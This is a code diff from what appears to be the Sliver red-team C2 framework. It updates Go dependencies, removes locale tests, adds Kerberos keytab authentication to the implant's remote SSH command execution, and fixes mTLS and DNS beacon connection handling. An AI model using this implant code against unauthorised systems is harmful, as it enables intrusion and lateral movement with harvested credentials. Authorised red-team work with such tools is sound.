golang.zx2c4.com/go118/netip v0.0.0-20211111135330-a4a02eeacf9d/go.mod h1:5yyfuiqVIJ7t+3MqrpTQ+QqRkMWiESiyDvPNvKYCecg=
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 h1:Ug9qvr1myri/zFN6xL17LSCBGFDnphBBhzmILHsM5TY=
|
||||
@@ -606,29 +588,32 @@ gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b h1:QRR6H1YWRnHb4Y/HeNFCTJLFVxaq6wH4YuVdsUOr75U=
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
|
||||
gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
|
||||
gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s=
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 h1:cVVZBK2b1zY26haWB4vbBiZrfFQnfbTVrE3xZq6hrEw=
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1/go.mod h1:nsR8qBOg+OucoIW+WMhB3GspUQXq9XorLnQb9XtvcOo=
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 h1:cIuC1OLRGZrld+16ZJvvZxVJeKPsvd5eUIvxfoN5hSM=
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1/go.mod h1:m3v+5svpVOhtFAP/wSz+yzh4Mc0Fg7eRhxkJMWSIz9Q=
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0 h1:1duIyWiTaYvVx3YX2CYtpJbUFd7/UuPYCfgXtQ3VTbI=
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0/go.mod h1:oG2kH0IvSYNIu80dVAyu/yoefjq1mNfM5bm88whjWx4=
|
||||
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 h1:a9tsXlIDD9SKxotJMK3niV7rPZAJeX2aD/0yg3qlIrg=
|
||||
gopkg.in/jcmturner/gokrb5.v7 v7.5.0/go.mod h1:l8VISx+WGYp+Fp7KRbsiUuXTTOnxIc3Tuvyavf11/WM=
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0 h1:QHIUxTX1ISuAv9dD2wJ9HWQVuWDX/Zc0PfeC2tjc4rU=
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLvuNnlv8=
|
||||
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gorm.io/driver/mysql v1.3.6 h1:BhX1Y/RyALb+T9bZ3t07wLnPZBukt+IRkMn8UZSNbGM=
|
||||
gorm.io/driver/mysql v1.3.6/go.mod h1:sSIebwZAVPiT+27jK9HIwvsqOGKx3YMPmrA3mBJR10c=
|
||||
gorm.io/driver/postgres v1.3.10 h1:Fsd+pQpFMGlGxxVMUPJhNo8gG8B1lKtk8QQ4/VZZAJw=
|
||||
gorm.io/driver/postgres v1.3.10/go.mod h1:whNfh5WhhHs96honoLjBAMwJGYEuA3m1hvgUbNXhPCw=
|
||||
gorm.io/driver/sqlite v1.3.6 h1:Fi8xNYCUplOqWiPa3/GuCeowRNBRGTf62DEmhMDHeQQ=
|
||||
gorm.io/driver/sqlite v1.3.6/go.mod h1:Sg1/pvnKtbQ7jLXxfZa+jSHvoX8hoZA8cn4xllOMTgE=
|
||||
gorm.io/gorm v1.23.4/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gorm.io/driver/mysql v1.4.1 h1:4InA6SOaYtt4yYpV1NF9B2kvUKe9TbvUd1iWrvxnjic=
|
||||
gorm.io/driver/mysql v1.4.1/go.mod h1:sSIebwZAVPiT+27jK9HIwvsqOGKx3YMPmrA3mBJR10c=
|
||||
gorm.io/driver/postgres v1.4.4 h1:zt1fxJ+C+ajparn0SteEnkoPg0BQ6wOWXEQ99bteAmw=
|
||||
gorm.io/driver/postgres v1.4.4/go.mod h1:whNfh5WhhHs96honoLjBAMwJGYEuA3m1hvgUbNXhPCw=
|
||||
gorm.io/driver/sqlite v1.4.2 h1:F6vYJcmR4Cnh0ErLyoY8JSfabBGyR0epIGuhgHJuNws=
|
||||
gorm.io/driver/sqlite v1.4.2/go.mod h1:0Aq3iPO+v9ZKbcdiz8gLWRw5VOPcBOPUQJFLq5e2ecI=
|
||||
gorm.io/gorm v1.23.7/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gorm.io/gorm v1.23.8/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
|
||||
gorm.io/gorm v1.23.9 h1:NSHG021i+MCznokeXR3udGaNyFyBQJW8MbjrJMVCfGw=
|
||||
gorm.io/gorm v1.23.9/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
|
||||
gorm.io/gorm v1.24.0 h1:j/CoiSm6xpRpmzbFJsQHYj+I8bGYWLXVHeYEyyKlF74=
|
||||
gorm.io/gorm v1.24.0/go.mod h1:DVrVomtaYTbqs7gB/x2uVvqnXzv0nqjB396B8cG4dBA=
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5 h1:cv/zaNV0nr1mJzaeo4S5mHIm5va1W0/9J3/5prlsuRM=
|
||||
gvisor.dev/gvisor v0.0.0-20220817001344-846276b3dbc5/go.mod h1:TIvkJD0sxe8pIob3p6T8IzxXunlp6yfgktvTNp+DGNM=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
|
||||
@@ -15,6 +15,7 @@ require (
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/stretchr/testify v1.7.0
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b
|
||||
golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f
|
||||
@@ -35,6 +36,8 @@ require (
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/google/go-cmp v0.5.8 // indirect
|
||||
github.com/hashicorp/go-uuid v1.0.2 // indirect
|
||||
github.com/jcmturner/gofork v1.0.0 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/nxadm/tail v1.4.8 // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
@@ -44,6 +47,11 @@ require (
|
||||
golang.org/x/tools v0.1.9 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
|
||||
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
|
||||
gopkg.in/yaml.v3 v3.0.1 // indirect
|
||||
)
|
||||
@@ -42,7 +42,11 @@ github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg=
|
||||
github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
|
||||
github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
|
||||
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
|
||||
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
|
||||
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOBl6X+TDac0SPWffRonuRJ2///OYtYRT8=
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f/go.mod h1:f8GY5V3lRzakvEyr49P7hHRYoHtPr8zvj/7JodCoRzw=
|
||||
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
|
||||
@@ -75,15 +79,19 @@ github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+
|
||||
github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=
|
||||
github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGqchSsVyNoeW4GyA0Y+g0LvKOHcaeqs1Rf6M=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e h1:6SWomM8ezwUwnN3lqKxE4r7bYVwpY9514DQkwBV9IPI=
|
||||
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e/go.mod h1:r1bHcNa22x8rrg/Kj/cDF5bX6UtZrHiQgRFvj3Mnpl8=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd h1:XcWmESyNjXJMLahc3mqVQJcgSTDxFxhETVlfk9uGc38=
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
|
||||
@@ -162,6 +170,16 @@ google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqw
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1 h1:cVVZBK2b1zY26haWB4vbBiZrfFQnfbTVrE3xZq6hrEw=
|
||||
gopkg.in/jcmturner/aescts.v1 v1.0.1/go.mod h1:nsR8qBOg+OucoIW+WMhB3GspUQXq9XorLnQb9XtvcOo=
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 h1:cIuC1OLRGZrld+16ZJvvZxVJeKPsvd5eUIvxfoN5hSM=
|
||||
gopkg.in/jcmturner/dnsutils.v1 v1.0.1/go.mod h1:m3v+5svpVOhtFAP/wSz+yzh4Mc0Fg7eRhxkJMWSIz9Q=
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0 h1:1duIyWiTaYvVx3YX2CYtpJbUFd7/UuPYCfgXtQ3VTbI=
|
||||
gopkg.in/jcmturner/goidentity.v3 v3.0.0/go.mod h1:oG2kH0IvSYNIu80dVAyu/yoefjq1mNfM5bm88whjWx4=
|
||||
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 h1:a9tsXlIDD9SKxotJMK3niV7rPZAJeX2aD/0yg3qlIrg=
|
||||
gopkg.in/jcmturner/gokrb5.v7 v7.5.0/go.mod h1:l8VISx+WGYp+Fp7KRbsiUuXTTOnxIc3Tuvyavf11/WM=
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0 h1:QHIUxTX1ISuAv9dD2wJ9HWQVuWDX/Zc0PfeC2tjc4rU=
|
||||
gopkg.in/jcmturner/rpc.v1 v1.1.0/go.mod h1:YIdkC4XfD6GXbzje11McwsDuOlZQSb9W4vfLvuNnlv8=
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
|
||||
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
|
||||
gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
|
||||
|
||||
@@ -315,7 +315,11 @@ func runSSHCommandHandler(data []byte, resp RPCResponse) {
|
||||
commandReq.Username,
|
||||
commandReq.Password,
|
||||
commandReq.PrivKey,
|
||||
commandReq.Command)
|
||||
commandReq.Krb5Conf,
|
||||
commandReq.Keytab,
|
||||
commandReq.Realm,
|
||||
commandReq.Command,
|
||||
)
|
||||
commandResp := &sliverpb.SSHCommand{
|
||||
Response: &commonpb.Response{},
|
||||
StdOut: stdout,
|
||||
|
||||
@@ -1,13 +0,0 @@
|
||||
package jibberjabber_test
|
||||
|
||||
import (
|
||||
. "github.com/onsi/ginkgo"
|
||||
. "github.com/onsi/gomega"
|
||||
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestJibberJabber(t *testing.T) {
|
||||
RegisterFailHandler(Fail)
|
||||
RunSpecs(t, "Jibber Jabber Suite")
|
||||
}
|
||||
@@ -1,155 +0,0 @@
|
||||
// +build darwin freebsd linux netbsd openbsd
|
||||
|
||||
package jibberjabber_test
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"os"
|
||||
|
||||
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
|
||||
|
||||
. "github.com/onsi/ginkgo"
|
||||
. "github.com/onsi/gomega"
|
||||
)
|
||||
|
||||
var _ = Describe("Unix", func() {
|
||||
AfterEach(func() {
|
||||
os.Setenv("LC_MESSAGES", "")
|
||||
os.Setenv("LC_ALL", "")
|
||||
os.Setenv("LANG", "en_US.UTF-8")
|
||||
})
|
||||
|
||||
Describe("#DetectIETF", func() {
|
||||
Context("Returns IETF encoded locale", func() {
|
||||
It("should return the locale set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectIETF()
|
||||
Ω(result).Should(Equal("fr-FR"))
|
||||
})
|
||||
|
||||
It("should return the locale set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectIETF()
|
||||
Ω(result).Should(Equal("fr-FR"))
|
||||
})
|
||||
|
||||
It("should return the locale set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectIETF()
|
||||
Ω(result).Should(Equal("fr-FR"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect a locale", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectIETF()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Context("when the locale is simply 'fr'", func() {
|
||||
BeforeEach(func() {
|
||||
os.Setenv("LANG", "fr")
|
||||
})
|
||||
|
||||
It("should return the locale without a territory", func() {
|
||||
language, err := DetectIETF()
|
||||
Ω(err).ShouldNot(HaveOccurred())
|
||||
Ω(language).Should(Equal("fr"))
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguage", func() {
|
||||
Context("Returns encoded language", func() {
|
||||
It("should return the language set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguage()
|
||||
Ω(result).Should(Equal("fr"))
|
||||
})
|
||||
|
||||
It("should return the language set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguage()
|
||||
Ω(result).Should(Equal("fr"))
|
||||
})
|
||||
|
||||
It("should return the language set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguage()
|
||||
Ω(result).Should(Equal("fr"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect a language", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectLanguage()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguageTag", func() {
|
||||
Context("Returns encoded language tag", func() {
|
||||
It("should return language tag corresponding to the language set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
Ω(base.String()).Should(Equal("fr"))
|
||||
region, _ := result.Region()
|
||||
Ω(region.String()).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return language tag corresponding to the language set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
Ω(base.String()).Should(Equal("fr"))
|
||||
region, _ := result.Region()
|
||||
Ω(region.String()).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return language tag corresponding to the language set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
Ω(base.String()).Should(Equal("fr"))
|
||||
region, _ := result.Region()
|
||||
Ω(region.String()).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect and parse a language tag", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectLanguageTag()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectTerritory", func() {
|
||||
Context("Returns encoded territory", func() {
|
||||
It("should return the territory set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectTerritory()
|
||||
Ω(result).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return the territory set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectTerritory()
|
||||
Ω(result).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return the territory set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectTerritory()
|
||||
Ω(result).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect a territory", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectTerritory()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
})
|
||||
@@ -1,63 +0,0 @@
|
||||
// +build windows
|
||||
|
||||
package jibberjabber_test
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
|
||||
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
|
||||
|
||||
. "github.com/onsi/ginkgo"
|
||||
. "github.com/onsi/gomega"
|
||||
)
|
||||
|
||||
const (
|
||||
LOCALE_REGEXP = "^[a-z]{2}-[A-Z]{2}$"
|
||||
LANGUAGE_REGEXP = "^[a-z]{2}$"
|
||||
TERRITORY_REGEXP = "^[A-Z]{2}$"
|
||||
)
|
||||
|
||||
var _ = Describe("Windows", func() {
|
||||
BeforeEach(func() {
|
||||
locale, err := DetectIETF()
|
||||
Ω(err).Should(BeNil())
|
||||
Ω(locale).ShouldNot(BeNil())
|
||||
Ω(locale).ShouldNot(Equal(""))
|
||||
})
|
||||
|
||||
Describe("#DetectIETF", func() {
|
||||
It("detects correct IETF locale", func() {
|
||||
locale, _ := DetectIETF()
|
||||
matched, _ := regexp.MatchString(LOCALE_REGEXP, locale)
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguage", func() {
|
||||
It("detects correct Language", func() {
|
||||
language, _ := DetectLanguage()
|
||||
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, language)
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguageTag", func() {
|
||||
It("detects correct Language Tag", func() {
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, base.String())
|
||||
Ω(matched).Should(BeTrue())
|
||||
region, _ := result.Region()
|
||||
matched, _ = regexp.MatchString(TERRITORY_REGEXP, region.String())
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectTerritory", func() {
|
||||
It("detects correct Territory", func() {
|
||||
territory, _ := DetectTerritory()
|
||||
matched, _ := regexp.MatchString(TERRITORY_REGEXP, territory)
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
@@ -3,15 +3,21 @@ package ssh
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"net"
|
||||
"os"
|
||||
|
||||
"github.com/yiya1989/sshkrb5/krb5forssh"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"golang.org/x/crypto/ssh/agent"
|
||||
)
|
||||
|
||||
func getClient(host string, port uint16, username string, password string, privKey []byte) (*ssh.Client, error) {
|
||||
func getClient(host string, port uint16, username string, password string, privKey []byte, krb5conf string, keytab []byte, realm string) (*ssh.Client, error) {
|
||||
var authMethods []ssh.AuthMethod
|
||||
if password != "" {
|
||||
// Try password auth first
|
||||
@@ -23,6 +29,17 @@ func getClient(host string, port uint16, username string, password string, privK
|
||||
return nil, err
|
||||
}
|
||||
authMethods = append(authMethods, ssh.PublicKeys(signer))
|
||||
} else if krb5conf != "" && keytab != nil && realm != "" {
|
||||
// Then try kerberos auth
|
||||
krb5ConfData, err := ioutil.ReadFile(krb5conf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
sshGSSAPIClient, err := krb5forssh.NewKrb5InitiatorClient(string(krb5ConfData), username, realm, keytab)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
authMethods = append(authMethods, ssh.GSSAPIWithMICAuthMethod(&sshGSSAPIClient, host))
|
||||
} else {
|
||||
// Use ssh-agent if neither password nor private key has been provided
|
||||
// ssh-agent(1) provides a UNIX socket at $SSH_AUTH_SOCK.
|
||||
@@ -35,6 +52,10 @@ func getClient(host string, port uint16, username string, password string, privK
|
||||
authMethods = append(authMethods, ssh.PublicKeysCallback(agentClient.Signers))
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Auth methods: %+v\n", authMethods)
|
||||
// {{end}}
|
||||
|
||||
config := &ssh.ClientConfig{
|
||||
User: username,
|
||||
Auth: authMethods,
|
||||
@@ -53,12 +74,12 @@ func getClient(host string, port uint16, username string, password string, privK
|
||||
}
|
||||
|
||||
// RunSSHCommand - SSH to a host and execute a command
|
||||
func RunSSHCommand(host string, port uint16, username string, password string, privKey []byte, command string) (string, string, error) {
|
||||
func RunSSHCommand(host string, port uint16, username string, password string, privKey []byte, krb5conf string, keytab []byte, realm string, command string) (string, string, error) {
|
||||
var (
|
||||
stdout bytes.Buffer
|
||||
stderr bytes.Buffer
|
||||
)
|
||||
sshc, err := getClient(host, port, username, password, privKey)
|
||||
sshc, err := getClient(host, port, username, password, privKey, krb5conf, keytab, realm)
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
|
||||
@@ -211,11 +211,13 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
return mtls.WriteEnvelope(conn, envelope)
|
||||
},
|
||||
Close: func() error {
|
||||
err = conn.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
if conn != nil {
|
||||
err = conn.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
conn = nil
|
||||
}
|
||||
conn = nil
|
||||
return nil
|
||||
},
|
||||
Cleanup: func() error {
|
||||
@@ -341,7 +343,7 @@ func dnsBeacon(uri *url.URL) *Beacon {
|
||||
ActiveC2: uri.String(),
|
||||
Init: func() error {
|
||||
opts := dnsclient.ParseDNSOptions(uri)
|
||||
client, err = dnsclient.DNSStartSession(uri.Host, opts)
|
||||
client, err = dnsclient.DNSStartSession(uri.Hostname(), opts)
|
||||
if err != nil {
